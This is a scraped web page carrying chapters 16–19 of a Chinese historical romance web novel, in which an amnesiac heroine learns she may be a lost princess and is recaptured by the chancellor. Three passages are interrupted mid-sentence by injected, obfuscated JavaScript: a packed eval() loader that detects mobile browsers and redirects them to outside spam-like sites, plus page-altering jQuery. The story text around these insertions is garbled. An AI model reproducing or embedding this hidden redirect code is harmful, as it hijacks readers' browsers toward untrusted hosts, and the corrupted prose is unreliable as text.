她后知后觉地感受到一股强烈的恶心,那种恶心完全掩盖过了恐惧,让她无比想作呕。 她厌恶这种感觉。 南荛双眸通红,脸上黏腻一片,分不清是泪还是血。 她伸手想摘下面纱,却又生生忍住,最终只是用袖子抹了抹额角的汗水。 就在此刻,耳畔忽有风声袭来。 南荛来不及反应,后脑再次传来剧痛。 这一次她完全无法抵抗,只觉大脑“嗡”的一声,那根弦彻底崩断,软软朝地上跌去。 失去意识的最后一刹,她竭力睁眼,只瞥见两道模糊人影,剩下的便什么都不知道了。 16.第 16 章 执金吾冲撞荣昌公主仪仗之事引起街道混乱,所幸执金吾与虎贲将士皆训练有素,倒也及时稳住了动乱,荣昌公主不曾受惊,也没有误伤到无辜百姓。 似乎只是个小插曲。 但动静不小。 光禄丞曹恭得知此事时,人还在离上东门不远的博阳侯府赴宴,端着酒杯的手险些没拿稳,一番打听后只知是执金吾缉拿逃犯,但到底是哪个逃犯也没人知道。 廷尉王徹那头也一头雾水,但不敢问。 裴淩此人,虽位居宰相,却非但有权调度光禄勋下属兵马及执金吾,更重要的是,他还身兼司隶校尉[1]一职。 当年文帝前,司隶校尉持节领兵,可弹劾、审讯及逮捕公卿百僚,而今职权虽已远不及此,却仍掌监察之权,纠上检下,严刑必断,无所不统。 谁又敢多说什么? 唯独太傅、太尉等人多有注意,派人多番打听。 裴淩并不在乎这群人怎么想。 他现在只想找到南荛。 巷子里的尸体被发现时,还是温热的。 除此之外,还有一个被打晕的男子。 缇骑那头得了消息,骑马飞速上报,不消片刻,裴淩便站在巷子里,面色冷寂地注视着眼前的尸体。 另一人被五花大绑起来,被人用水泼醒,惊恐地发现眼前这么官兵,语无伦次道:“我、我……我什么都不知道……” 裴淩不欲浪费时间,冷声道:“动刑。” 严詹挥手,身后的士兵拿着刑具上前,这些都是军营里审讯过战俘的特殊刑具,随便一个就能让人生死不如死,那人被摁着身子,在地上发出凄厉的惨叫声,不肖片刻就招了,“我、我说实话!我是奉我家公子的命来抓那个女人的……” 裴淩问:“她人呢?” “我、我真的不知道……她杀了我同伴,我趁机把她打晕了正要带走,结果不知道是谁从背后给了我一下。”那人流着冷汗,哆哆嗦嗦地说着,又不自觉开始求饶,“这位大人,我真的不知道她在哪,求求你们放过我……” 严詹在边上听得倒吸冷气,不禁瞥了眼边上那具尸体。 这尸体的致命伤在脖颈处,除此之外,身上被捅了得有四五刀,看着毫无章法,但刀刀狠绝。 可见当时打斗有多激烈。 这居然是公主杀的? 她那么柔弱,病都还没完全好,居然能杀一个成年男子? 裴淩愈发面色森寒,转身观察着四周打斗的痕迹,还有掉落在一边、上头沾染血迹的木棍。 她到底在哪里? - 南荛已经不省人事。 她好像坠入了无边无际的黑暗,又感觉自己好像漂浮在冰冷的水面上,宛若一只孤舟,摇摇摆摆,始终无法靠到水岸。 犹如无根之人,漂泊无依。 她已经很久没有过这样的感觉了。 自从五年前和段浔在青州有了家后,她便从未觉得自己是孤苦漂泊之人。 南荛醒来时,外头天色已晚,四下一片黑暗。 只有床头点着一盏灯。 灯芯平稳地照亮周围,不受外面呼啸的风雪侵扰。 这是……哪里? 南荛怔了怔,环顾四周,根据陈设,隐约可以看出这是一间布置简单的屋子,她此刻正蜷缩在床上。 泪水将枕头濡湿了一片,身上还盖着厚厚的被褥。 借着灯烛微弱的光,她检查了一下身上的衣物。 衣服没换。 但身上的血迹被擦干净了大半,面纱也不见了。 南荛稍稍动了下,想起身,后脑却传来强烈的刺痛。 好痛。 感觉颅骨快要裂开了。 南荛忍不住伸手去摸后脑,就在此时,一道声音焦急地打断她—— “别碰!” 南荛吓了一跳,手停住,惊惧地望向声音来源处。 有人恰好推门进来,急促的脚步声逼近床榻上的南荛,她忍不住蜷起身子往后退。对方似乎注意到她害怕,动作骤然停住。 “别怕。” 这是个轻柔的女声。 对方慢慢靠近她,拿起床头的灯,火光瞬间映亮一张女子的面庞。 这是一个看起来和南荛年纪相仿的女子。 却穿着身男装。 窄袖短靴,腰插短刃,长发利落地束起,容颜干净而秀致,瞳仁漆黑,窄窄双眼皮冷锐如刀锋,当面无表情看着人时,眼角眉梢便捎带一丝冷峭的英气。 南荛呆呆地望着对方的脸,不知道为什么,她感觉自己的心跳好像漏了一拍,眼前这个女子似乎有种说不上来的……亲切? 对方举着灯,垂眼,对上南荛探究而戒备的视线。 “你……不认得我了吗?”她问。 南荛迟疑着摇头。 她的头发全散开了,凌乱地披在肩上,瘦削的脸上没有一丝血色,眼睛瞪得圆圆的。 像是受惊过度之后,还没回过神来。 “我叫谢明仪。”对方又说:“你别怕,我不伤害你。” 南荛咬着牙关不吭声,身子还是紧绷着的。 她从丞相府离开以后,被人追捕、跟踪、掐脖子,又差点被抓走,而眼前的人,她更不知道是谁。 她不明白,怎么会有这么多人针对她? 全都不放过她。 谢明仪注意到她的眼神,不禁沉默,只是站在原地注视着她,迟迟未曾上前。 空气异常安静。 不知过了多久,南荛的声音才迟疑着响起,“是你……救了我吗?” 她看起来不像坏人。 南荛隐约记得,昏迷前好像看到两道人影,虽然没有看清对方是谁…… 谢明仪:“嗯。” “有人用棍子打晕了你,正好被我看见,我便把你从他手里救了下来。”谢明仪又说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223553|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>南荛这才稍微放松了一点,轻声道:“谢谢。” 谢明仪垂睫看着她温软的眉眼,似乎欲言又止,垂在一侧的手狠狠攥了攥,才勉力露出一丝笑容来。 “你昏迷了很久,先喝点热粥吧。” 南荛这才发现对方手里拎着一个食盒,怔了怔。 原来她是给她……弄吃的去了? 谢明仪把灯烛放在桌上,打开食盒,从里面端出一碗热腾腾的热粥来,来到南荛的床前坐下。 南荛没有动,看着对方拿汤匙舀起一勺粥来,吹了吹,递到她唇边。 “我可以……自己来……” 南荛觉得很别扭,伸手想接过汤匙,谢明仪却侧身避了避,眼底有了丝笑意,耐心地说:“你脑袋受伤了,别乱动,我喂你就好了。” 因对方是女子,又这样温声细语地和她说话,南荛才没有勉强,乖乖张嘴喝粥。 温热的粥融化在嘴里。 味道很好。 南荛一边安静地喝粥,一边垂着浓密的睫毛,不知在想着什么,手指时不时不安地抓着被褥。 她有种直觉。 谢明仪,应该真的是好人。 可她为什么要帮她? 南荛联想到外面可能还有人在搜捕她,也许陆恪正在被他们为难,也许裴丞相正在掘地三尺,也要把她挖出来。 除此之外,还有她不知道的人想抓她。 倘若谢明仪只是路见不平出手相救,会不会因为救她,而被卷入这些事里面? 南荛想到这一点,难免对眼前的女子生出一丝担忧,忍不住开口道:“多谢你救了我,只是我可能……还是离开比较好,我卷入了一些很可怕的事情,留在这里也许会牵连到你。” 谢明仪喂粥的手顿住。 她静静看着眼前的南荛,她说话时,不自觉地攥着手指,嗓音很决绝,眼睛里却浸满泪水,湿漉漉的,似乎带着一丝说不出来的辛酸哀凉。 嘴唇上连血色都没有。 谢明仪不由得回想起发现她的时候。 那时,她刚拼尽全力地杀了个人,却完全不知道对方其实是有两个人,两面包抄着捉她,被身后的人用棍子打了脑袋,一身是血地晕倒在地。 对方扛起她便要走,被谢明仪及时拦下。 倘若那时谢明仪没有因公主车驾受惊而注意到她,暗中在房瓦上跟着,后果简直不敢想。 揭开了她的面纱,才发现是故人。 她以为已经死了的人。 “你能去哪里?”谢明仪忍着心里的酸涩,看着眼前缩在床角的人,“外面都在抓你。” 南荛不料她知道,慌张地抬眼,“你……” 谢明仪紧紧盯着她的眼睛,“你真的,什么都不记得了吗?” 南荛从她的话里捕捉到一丝其他意味,微微蹙眉,迟疑着问:“……记得什么?” 谢明仪说:“记得你是华阳公主,萧令璋。” 17.第 17 章 寂静幽暗的小屋,只点了一盏微弱的烛灯。 因怕被外面搜查的人察觉,谢明仪的声音下意识压得很低。 但南荛却听清楚了。 “你说的……是真的吗?” 漫长的寂静后,南荛再度开口,声音带了一丝她自己都没有意识到的、细微的颤抖。 南荛不是没有想过,这一切的根源,也许和她失忆有关。 当初,她就是在洛阳郊外被捡到的。 而她去击登闻鼓那一日,严詹看到她的第一眼,似乎就万分震惊,好像看见了什么不可能存在这里的人。 再后来。 裴淩身为丞相,位居万人之上,却亲自来廷尉衙署见她。 他对她数次关照,严詹狄钺更是对她好得不得了。 这世上没有人会无缘无故地对另一个人好。纵使裴淩以“同是天涯沦落人”为借口,但她也没有迟钝到完全相信,这也是为什么,段家案结束后,南荛选择了用这么无礼的方式逃离相府。 她潜意识里,很害怕会走不掉。 可她怎么会是公主呢? 她和裴淩成过婚? 裴淩悼念五年的亡妻……是她自己? 南荛脸上本就毫无血色,此刻更是惨白如纸,忍不住将身子蜷缩得更紧,嗓音发颤,不想接受这个事实。 “可、可我……我是南荛啊,我不是什么洛阳人,我有夫君……” 如果她是华阳公主,为什么裴淩会大动干戈地搜捕她,就能说通了。 可她又该怎么办? 她不想做别人,她只想做南荛。 她只想回到青州的家,哪怕段浔不在了,她也不想留在这里。 谢明仪没想到她会是这种反应,眉头微微皱起,“你……你别哭……”她有些手忙脚乱,急急忙忙放下手中的粥,倾身上前,用袖子小心翼翼地帮南荛擦拭眼泪。 看到她这般害怕,谢明仪只觉太阳穴胀痛,煞是憋闷恼火。 她狠狠咬牙道:“他们到底是怎么欺负你了,怎么让你变成这样了?!是不是裴淩又对你做了什么?” 当朝丞相的名讳,谢明仪也毫不客气、连名带姓地叫。 听她的语气,似乎对裴淩不满已久。 南荛却只是摇头。 他们没有怎么欺负她。 甚至是,对她好,哄她开心,帮她伸冤。 是她自己在害怕。 南荛死死咬着唇瓣,双臂环着膝盖,望着眼前的谢明仪,轻声说:“你怎么证明你没骗我?” “奴婢当然不会骗公主!奴婢是……您从前的侍女。”谢明仪脱口而出,疾声道:“奴婢幼时便被皇后派到您身边,自小和您一起长大。当年殿下出事,奴婢没能在身边保护殿下。这些年来,奴婢一直在调查当初的线索,想知道到底是谁对您下毒手。” 南荛有些恍惚。 谢明仪说的这些,对于她来说太过于遥远陌生了,她完全无法想象从前的自己是什么样子。 外头有关华阳公主的传言很多。 皇后嫡出,先帝老来得女,年幼时便将她破例册为长公主[1],开府设僚,仪同藩王。 而后,在其余皇子公主皆因夺嫡之争悉数亡故后,先帝龙体欠佳,刚刚及笄的华阳公主,更是得先帝信任,日日侍疾,比朝中百官更接近先帝。 加之皇后外戚邓氏位高权重,华阳公主一时权势惊人,横行无忌,朝野上下无不避其锋芒。 哪怕是当今天子,当初为宗室子时,也从不与她当面冲突。 这样的人,真的是她吗? 南荛环着膝盖的手臂紧了紧,把脸埋在臂弯里,她不想接受这一切,不想接受陌生的身份,那些尔虞我诈的过去。 她好想念阿浔。 要是阿浔知道她又成了别人的妻子…… “我不想做公主。”她小声说。 谢明仪怔住。 “我从相府里逃出来,不是因为他们欺负我,是因为我想回家。”南荛一阵阵冒着冷汗,不知是不是因为脑袋受伤的原因,她强撑着眩晕感,抬眼望着谢明仪,“我不记得从前了,我已经有了新身份、新生活。” 谢明仪唇瓣动了动,有那么一瞬间,她只觉得心脏好像被狠狠攥了一下,憋闷得紧。 这些年,谢明仪都无法释怀公主的死,好不容易看到她还活着,却亲口听到她说不想做回萧令璋。 她久久沉默。 “这些年……公主过得好吗?” 南荛怔了怔,点头,唇角露出一丝浅淡的微笑,“我过得很开心。” 南荛还没有完全相信谢明仪话中真假,可对方此刻的难过失落不像伪装,她也只是勉强安慰对方。 就在此时,外头忽然传来一阵的脚步声。 声音极微弱。 只有细听才能发觉。 屋内二人同时一怔,谢明仪猛地咬牙,抽出腰侧软剑,冷声道:“看来他们搜过来了,我带你杀出去。” 他们现在正处于一家客栈。 谢明仪发现南荛的时候,本想将此事告诉荣昌公主,看是否能带南荛躲进宫,但转念一想,倘若是裴淩在搜查公主,只怕宫门口卫尉那关也难混过去。 且今时不同往日,天子不再是疼宠公主的父亲,宫内鱼龙混杂,也未必安全。 她才暂时找了家客栈把南荛安顿下来。 此刻正是傍晚,街道无人,他们搜到这里,也是意料之中的事。 南荛唇色发白,眼睛睁得大大的,惊惶地偏头看向窗外。 她突然下定了决心,“裴丞相不会为难我,你撇下我自己逃吧。” 走不掉了。 谢明仪武功再高,哪里能打的过那些士兵?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233830|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 南荛想了想,对谢明仪飞快道:“你就……把我绑起来,假装我是被其他人抓走的,你再蒙着面,悄悄从窗户离开,等裴淩来找到我。” 如果她真是公主,恰在这种关头有人救走她,一定会令裴淩生疑。 会不会怀疑到谢明仪身上来,南荛不知道,也不敢赌。 裴淩实在是太可怕了。 谢明仪断然摇头,“不行,奴婢怎么能放心撇下殿下?” 南荛朝她弯了弯唇角,勉强露出一个笑容来,“如果我真的是公主,那这就是命令。” 谢明仪无言。 许久,她才起身跪下,对着她恭敬地行了一礼。 “奴婢谨遵公主之命!” - 夜色暗沉,天上飘摇着碎雪,宽阔的洛阳城主干大街上马蹄声一阵接着一阵,铁甲反射出银光,仿佛沉寂在水面之下的暗流。 若想搜人,夜晚会比白天更简单。 城中能躲的地方不多。 但有人把她带走了。 一想到她被人敲了脑袋打晕过去,裴淩心里便愠怒异常,眸底沉沉酝酿出冰冷杀意。 白天,荣昌公主车驾受惊一事也异常蹊跷,裴淩记得,华阳从前婢女而今跟随在荣昌左右,是以,宫门那边自有卫尉严格搜查。 便是一只苍蝇,都绝无可能飞走。 此外,便是搜查客栈。 狄钺带领官兵依次敲门检查,直到有一间迟迟不开,他猛地使力一踹,只见轰然一声,门被冲开。 屋内一片黑暗,只有窗户是打开的。 狄钺提着灯往前走了几步,终于看到蜷缩在床角的人影,“快去禀报丞相!她在这里!” 裴淩闻讯赶来时,便恰好看到令他惊怒的一幕。 眼前的南荛软软倒在床上,手腕被绳索束缚着,满头乌发凌乱地披散在身上,微微露出的半张脸毫无血色。 她双眸紧闭,人事不省。 裴淩伫立在原地,久久未动,直至目光缓慢地掠过女子孱弱的身子,看到她尚且随着呼吸起伏的胸口。 他骤然快步上前。 狄钺拔剑出鞘,裴淩接过长剑,轻轻割开她腕上绳索,又抬起手掌,轻柔地捋了捋她散开的长发。 指尖仍在颤抖。 他险些就再次失去她了。 裴淩揽着南荛的腰肢,将人紧紧困在怀中,又展开身上的鹤氅,裹在她身上,才把她打横抱起,转身冷然下令,“去唤女医来,即刻回府。” 他把南荛抱上了马车。 双眸紧闭、正在装晕的南荛,闻到来自裴淩身上陌生而冷冽的沉香气,不禁悄悄睁眸。 从她的角度,正好看到男人紧绷的下颌。 他把她抱得很紧。 她却觉得自己的心,还在不断下坠。 他果然,对她存有别的心思。 18.第 18 章 丞相府的灯火彻夜长燃。 南荛的衣裳上血迹斑斑,脖颈还残留着掐痕,除此之外,身上还不知有多少碰撞留下的淤痕。 不过才一天一夜,她便遭遇了这么多。 女医处理南荛的伤口时,裴淩便一直在边上守着。 他暗沉的眸光落在她的面颊上,薄唇紧紧抿成一线,不知在想什么。 待到女医要检查她受伤的后脑时,裴淩才亲自伸手,把她拦腰抱起来,让她伏在自己怀里,头挨着他的胸口。 女医轻轻拨开她的乌发。 那里肿了很大一片,发间还凝固着血块。 “严重与否?”裴淩看得清楚,不禁开口问。 那女医低声道:“瞧着不算太大的伤,只是伤在后脑,到底还是比别的地方要脆弱得多。如今只看娘子能不能醒过来,若能醒来、意识清醒,便应该没有大碍。” 可她还没醒。 裴淩眉头紧皱,良久才道:“下去吧。” “是。” 那女医施了一礼,恭敬地退了下去。 室内顷刻间安静下来,裴淩站在床边静默片刻,才走过去坐下,将平躺着的人重新抱在怀里。 他的指尖掖着她柔顺的长发,下巴贴着她的额角,喃喃自语,“就这么怕我?” 明明从前,她最喜欢追在他身后。 那时,他好似凭空冒出个小尾巴,镇日叽叽喳喳喋喋不休,怎么也甩不掉。 如今,她却避他如蛇蝎,连当面告别都不敢。 裴淩静静抱着南荛,皎洁的月光穿透窗棂,斑驳的碎影落在黑沉沉的眼底,仿佛坠入无底的深渊。 门扉忽然被人轻叩两声。 “进来。” 严詹脚步匆匆,进来时也不敢抬眼多看,只弯腰禀道:“丞相,杨肇已经捆过来了。”考虑到南荛在昏睡,严詹不自觉压低了声音。 裴淩无声冷笑,杨肇敢动南荛,他还想跟他们算账。他正要把南荛放下起身出去,偏就在这一刹,怀中人不知是被碰到疼痛处还是如何,骤然发出一声轻哼。 他的动作顿时凝滞。 低眸看过去时,恰好对上一双雾蒙蒙的眼睛。 四目相对。 “……大、大人?”她眼睫轻颤,呆呆地望着他。 场面瞬间变得鸦雀无声,所有人都好似凝固了般,而裴淩本平静从容,猝不及防被她这样眼巴巴望着,眼底情绪急遽变幻了阵,终究还是静默不语。 谁也没料到她醒得这般突然,而他现在抱着她,当如何解释这番亲密举动? 可未等他们开口,晶莹的泪水便随着她扑簌的睫羽,倏然滚落下来。 “啪”的一声,砸在裴淩的手心。 “是大人救了我吗?”南荛声弱气微,眼皮沉重,强撑着问。 裴淩看她眼睫湿润,满目仓惶,手指还使力地攥着他的衣袍。 比起从前竭力躲开他的样子,此刻竟显得异常脆弱可怜,像受惊过度后还未缓过神来。 他复而垂眼,蜷指攥紧掌心这滴泪。 只发出一声鼻音,“……嗯。” 搁在一侧的指骨下意识攥紧,想抚她的脊背又生生忍住,下颌微微绷住。 如此紧绷模样,反倒比平日更显冷。 南荛看着裴淩,不吭声。 “不必害怕。”裴淩静默须臾,又补了一句。 话是这样说,但男人的视线太过寒峻压迫,反令她脊背耸颤,不自觉松开攥他衣袍的手,试图将身子往后缩。 腰却一紧。 环在腰侧的手臂始终未松,像一道铁钳桎梏着她。 她再度目光惶然地看向他,裴淩垂下眼睫,遮住眼底的情绪。 他喉结滚动,知道此刻应该松手。 “不必怕。” 裴淩有些不知道自己在说什么了,只重复着这几个字。鬼使神差的,依然未松手。 他本气定神闲,运筹帷幄,但似乎因这一整日的动乱,整个人都不再能稳住了。 南荛微微别开脸。 严詹见裴淩被她拖住,心下明白这一时半刻不会消停,便暗自退了出去,留下一室静谧。 几欲凝固的空气里,女子的肩膀轻轻耸动,裴淩怔然抬眸,才发现她正在悄无声息地啜泣。 他不禁沉默。 人生来便有喜怒哀乐、七情六欲,但套上权欲的枷锁后,便再难去宣泄。 他就是如此。 但眼前的南荛,却让他想起了多年前那个安慰他说“我也没有阿母了”的小公主,至始至终,都是纯净无暇的。 “别哭。”他心软地叹息一声,抬起袖子,轻柔地帮她擦去眼泪,温声解释道:“之所以派人四处找你,不过是担心你出意外,段家事虽已结案,却也引起了旁人怀疑,否则,你怎会一出去便被人打晕劫走?” ——他还在撒谎。 如此纯净的她,反将他的诸多算计城府,衬托得鄙陋不堪起来。 但裴淩没有回头路,无论何种手段,都是为了让他的公主重新回到他身边。 她抬眸问:“你有没有为难陆公子他们?” 裴淩道:“放心,我会放了他。” “那我……” “你先养伤。” 他此刻竭尽温柔地安抚她,南荛虚弱不堪,哭了不一会儿便头脑胀痛,昏昏沉沉地软倒下去,额头紧紧抵在他的胸口,手还攥着他的衣角。 他呼吸放缓,胸膛因绷紧而显得坚硬。 她可以听到他沉闷有力的心跳声。 裴淩便也静坐不动,眸光沉沉,宛若笼了薄雾的黑夜,无数情绪在其中翻涌。整个人坐在月光里,犹如一尊打磨得剔透的玉质雕塑,任她安静地蜷在他怀中。 也不知她是何时彻底睡着的。 裴淩独坐大半宿,才将她轻柔地平放回床榻上,给她掖好被角。 他还有事要做。 太傅杨晋,共有三子一女,皆是与成安大长公主所生,而杨肇正是其次子,而今二十有四,小裴淩三岁,正在宫中任职,也算年轻有为。可惜人大半夜就这样被裴淩绑了过来,已在前堂叫骂了半宿。 裴淩出来时,此人还被侍从按着跪在地上,骂得面红耳赤,“裴观清!我好歹也是陛下的议郎,你敢如此辱我——” 裴淩眸光冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14245172|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷,“辱你?看来把你转送廷尉狱,你才肯老实。” 杨肇冷笑,气焰丝毫不减,“我阿母乃是公主,我好歹也是当今圣上的表弟,便是送我去廷尉又如何?就凭那个缩头缩脑的王徹,他敢审么?裴淩……你坏我妹妹的事,今日还来对我动手……那个女人……我险些就抓到了……你如此紧张,是不是因为你背地里做了什么欺君罔上的事?” 裴淩倒觉好笑,笑此人口无遮拦,满口皆是依仗父母兄弟,此刻还敢再提南荛,当真是不打自招。 他冷然拂袖道:“王徹。” 一侧,廷尉王徹闻声出来,作揖道:“丞相。” “他方才的话,记清楚了么?” “下官已记下了。” “我今日可有抓什么女人?” “回丞相,不曾。”王徹恭谨道:“今日执金吾巡逻看见有人当街行凶杀人,遂满街搜捕,而今犯人已逮捕,于一个时辰前于牢中畏罪自尽,且据犯人口供,背后指使者为杨肇。” 杨肇不料王徹人就在此处,且口口声声颠倒是非,将南荛的存在完全抹去,一时瞋目切齿,怒声骂道:“王文长!好你个小人!” 文长正是王徹的字,王徹面不改色,心里却暗道:这杨肇当真没眼力见,那杨贵人命里便是与后位无缘,连太傅都认了,他倒好,还暗中记恨上了。再闹?闹大了就是丢太傅和成安大长公主的脸面。 倒不如老实些认栽,谁叫他瞎掺和事儿。 真要认真掰扯掰扯,这天底下能斗得过裴丞相的人,怕是还没出生。 …… 另一边。 裴淩离开房间后不久,南荛便睁开了眼睛。 窗户缝隙进来的风吹动纱帘,烛影又映在飘摇的帘上,犹如幢幢鬼影。 她注视着那些影子。 南荛失忆之初,对一切都是懵懂的,除了不怕死以外,什么都怕。她不仅怕黑,怕打雷,怕蛇虫鼠蚁,还怕民间传说的鬼魅邪祟之类的东西。 夜里便是瞅见床帘的影子在晃,也会惊慌地摇醒已经睡着的段浔。 少年总是很无奈,“为什么你的胆子这么小?” 她还没说话,少年又懒洋洋地打了个哈欠,揉着眼睛嘀咕道:“算了,怕就怕吧,反正有我在。” 把他叫醒陪自己,她饱含愧疚,低声道:“我也想胆子大些,可要怎样才能做到什么都不怕?” 段浔扬了扬眉梢,像是觉得她这个问题很有趣,睨着眼前失落的少女,抬手摸了摸她的脑袋,轻笑道:“为什么要做到那么勇敢?这世上,每个人都有自己惧怕的东西。只有一种人什么都不怕,那便是被逼上绝路的人。” 南荛撑手坐起,目光清明。 ——“公主若还是不信奴婢,自可亲自在丞相府里验证,当年您出事后,许多旧物都被他带走存放于相府,其中应该必然也有公主的画像。” ——“奴婢之后还会想办法混进丞相府,倘若那时公主确认了真相,愿意跟奴婢走,奴婢便是拼上性命也会救您出去。” 这是谢明仪临走时说的话。 既然已经被抓回来了,那有些事,她必须亲自去验证一番。 19.第 19 章 南荛掀开被子下床,雪夜森凉,她几乎瞬间便感受到了刺入骨髓的寒意,她最是怕冷,此刻不禁轻微颤栗,牙关紧硌。 纵使如此,她也还是没有披上悬挂在一侧的外衣,也没有穿鞋,一双白净的赤足踩在凉如生铁的地面上,更没有伸手去捋一捋披散开的乌发。 她眸光平静,推开门直直往外走。 飞雪如盐粒,自半空中徐徐飘洒下来,被廊庑下悬挂的一排排灯笼照亮。 外头正守着几个侍卫。 他们见南荛忽然就这样走出来,衣衫不整,披头散发,皆是一惊,纷纷上前想拦着她,奈何她仿佛根本不他们放在眼里,没有丝毫要停的意思,反倒是这群侍卫为了躲避她,被逼得一退再退,踉踉跄跄,十分局促。 眼前的女子到底是丞相的人,又只着单衣,他们连看都不敢细看,更遑论直接伸手碰她? 几个侍卫互相对视,有人急急去禀报丞相,剩下的人继续拦着南荛。 南荛仓惶地横冲直撞,一身白衣披头散发,好似夜间飘荡的鬼魅,全然不看眼前这些拦她的人,她只觉得很冷,痛入骨髓的冷,冷至麻木。 这般自虐又疯狂的行径,很快就惊动了裴淩。 裴淩本还在前堂处理杨肇的事,结果只处理一半,便又焦急地折返回来,远远就看到她赤脚站在冰天雪地里,大步流星地过去把她拉进怀里。 “你在做什么?!”他语气不禁沉冷急促。 她被他揽在怀里,肩膀因冷而颤抖着,一双乌黑湿润的眼睛望向他,“大人去哪了……” 裴淩一怔,低头时发现她眉睫染雪、面颊带泪,俨然一副精神恍惚的样子,又后悔自己方才语气太重了。 他抿了抿唇,低声说:“我没走远。” “我醒来……没有看见你……” “你在找我?” 她没有应答,只攥着他胸前的衣裳。 裴淩眉头紧皱,一时心里涌出诸多情绪,心疼、怀疑、自责、又隐约还掺着说不出的欣喜,相比于她先前刚烈抗拒、油盐不进的模样,此刻怀中人对他的依赖又来得太快,就像梦一般不真实。 但联想到她这一天一夜的经历,还被逼亲手杀了个人,换谁都会被吓到,倒也无可厚非。 此刻来不及细想,他把她打横抱起来,重新抱回屋子,用厚厚的被褥裹着她,又摸到她双手双脚冷得似冰,快速吩咐身后丫鬟,“去把手炉拿来。” 丫鬟匆忙拿来暖手的紫金铜花小手炉,裴淩将之塞进她怀里,帮她暖着手足,又用手掌轻拍着她的脊背,温柔地安抚着。 她蜷在裴淩怀里,眼睫低垂,安静不动。 严詹方才还在前堂,见丞相上一刻还从容闲适,严肃冷漠地审问旁人,下一刻却拂袖而去,连句话都来不及交代,就走得没了影儿。 连王徹都傻在了原地,一脸茫然地问严詹:“伯玉兄,丞相这是?” 严詹扶额苦笑,“无碍,容我去问问。” 八成又是因为公主。 果不其然,待严詹急急忙忙地追过来,就瞧见丞相正怀抱着公主耐心安抚,瞠目结舌,期期艾艾地问:“丞相,那个……王徹他们还……” “你去处理。” 裴淩现在如何走得开? 横竖杨肇不是什么大角色,这回也的的确确是他派人打伤南荛,手下一死一伤,被裴淩拿住了把柄,杨太傅想借此找裴淩说理,只怕都嫌丢人理亏,让严詹和王徹处理便够了。 严詹知道眼下情况特殊,也不多问一句了,转身退出去。 严詹单觉得,公主仅仅只是今夜举止失常些,却全然没想到,她当真将裴淩缠住不放了。 往后几日,她都睡不安稳,夜里醒来若是看不见人,便会慌里慌张地跑出去。 每回都不穿鞋。 加上她头伤得不轻,偶尔会突发眩晕,女医上药之后也不见消肿,需要请医术更高明的医者过来瞧瞧才行。 此种情况下,裴淩放不下心。 只能亲自看顾着。 丞相总领百僚,政务繁多,虽下属诸僚各有分工,也有丞相长史协助管理,但这五年来,裴淩依然时常忙碌到深夜,通宵不睡亦是常有。 此外,还有主持朝议等诸事,集议过后,丞相领衔奏事,但凡遇机要大事,皆由丞相与天子共决。而今天子虽早已成年,但登位前便对裴淩依赖过重,登位后又在各方势力厮杀的漩涡中显得过于优柔,至今朝政大事也很少单独决定。 严詹眼睁睁看着,裴淩就这样被南荛缠得死死的,每回有事想禀,都极难寻到单独与丞相说话的时机。 裴淩性情酷冷无情,若换作旁人,断断不可能令他动容丝毫,便是与他往日交情不错的人,摊上事了私下想通融都难。 更遑论逼他天天陪着自己荒废正事? 唯独公主不一样。 裴淩的书房存放着诸多重要公函案卷,周围把守森严,闲杂人等不得靠近,但此种特殊状况下,也对她破例了。 南荛穿着厚实的衣裳,外头还披着沉重的鹤氅,怀里还抱着手炉,跟着他进书房。 裴淩处理累积成山的公务,她便在边上歇着。 谁也不说话。 她与裴淩之间并无太多交流,但又彼此心照不宣,他未提亡妻,她也不提段浔半句,但那夜的搂抱之后,那层世俗礼节之下的隔膜就被彻底捅破了。 在裴淩眼中,自然根本不存在什么世俗偏见、人伦纲常,更不能算抢夺人妻。非要细究,段浔才那个插足于他们中间的人。 至于南荛。 她显得很安静。 裴淩在写字,她偶尔会走到一侧,主动帮他磨墨。 裴淩并未避讳她去看自己所写的公函,从南荛的角度,能清晰地看到男人运笔如飞,行云流水。 所谓字如其人,然而裴淩的字并无他外表那般生冷勿进,反倒极其工整漂亮,如铁画银钩,力透纸背,唯独转折处,笔锋方才挑出一丝锋锐之气。 她看到落款“观清”二字。 裴淩,字观清。 裴观清。 心里只是默念这三个字,便好似已叫过无数次,一阵刺痛猛然袭入大脑,让她眉头紧蹙。 ——自从头部受伤后,她头疼的次数便上升了不少。 就在她闭目忍痛时,捏着墨锭的手指忽然被一只温热的大掌握住。 她一怔,灯火朦胧下,裴淩眉目清淡,摩挲着她冰冷的指尖,“这么凉,去歇着罢。” 她垂眸问:“大人嫌我碍事吗?” 裴淩道:“自然没有。” 她又放下墨锭,去边上倒了一杯热茶,双手捧着递过来。 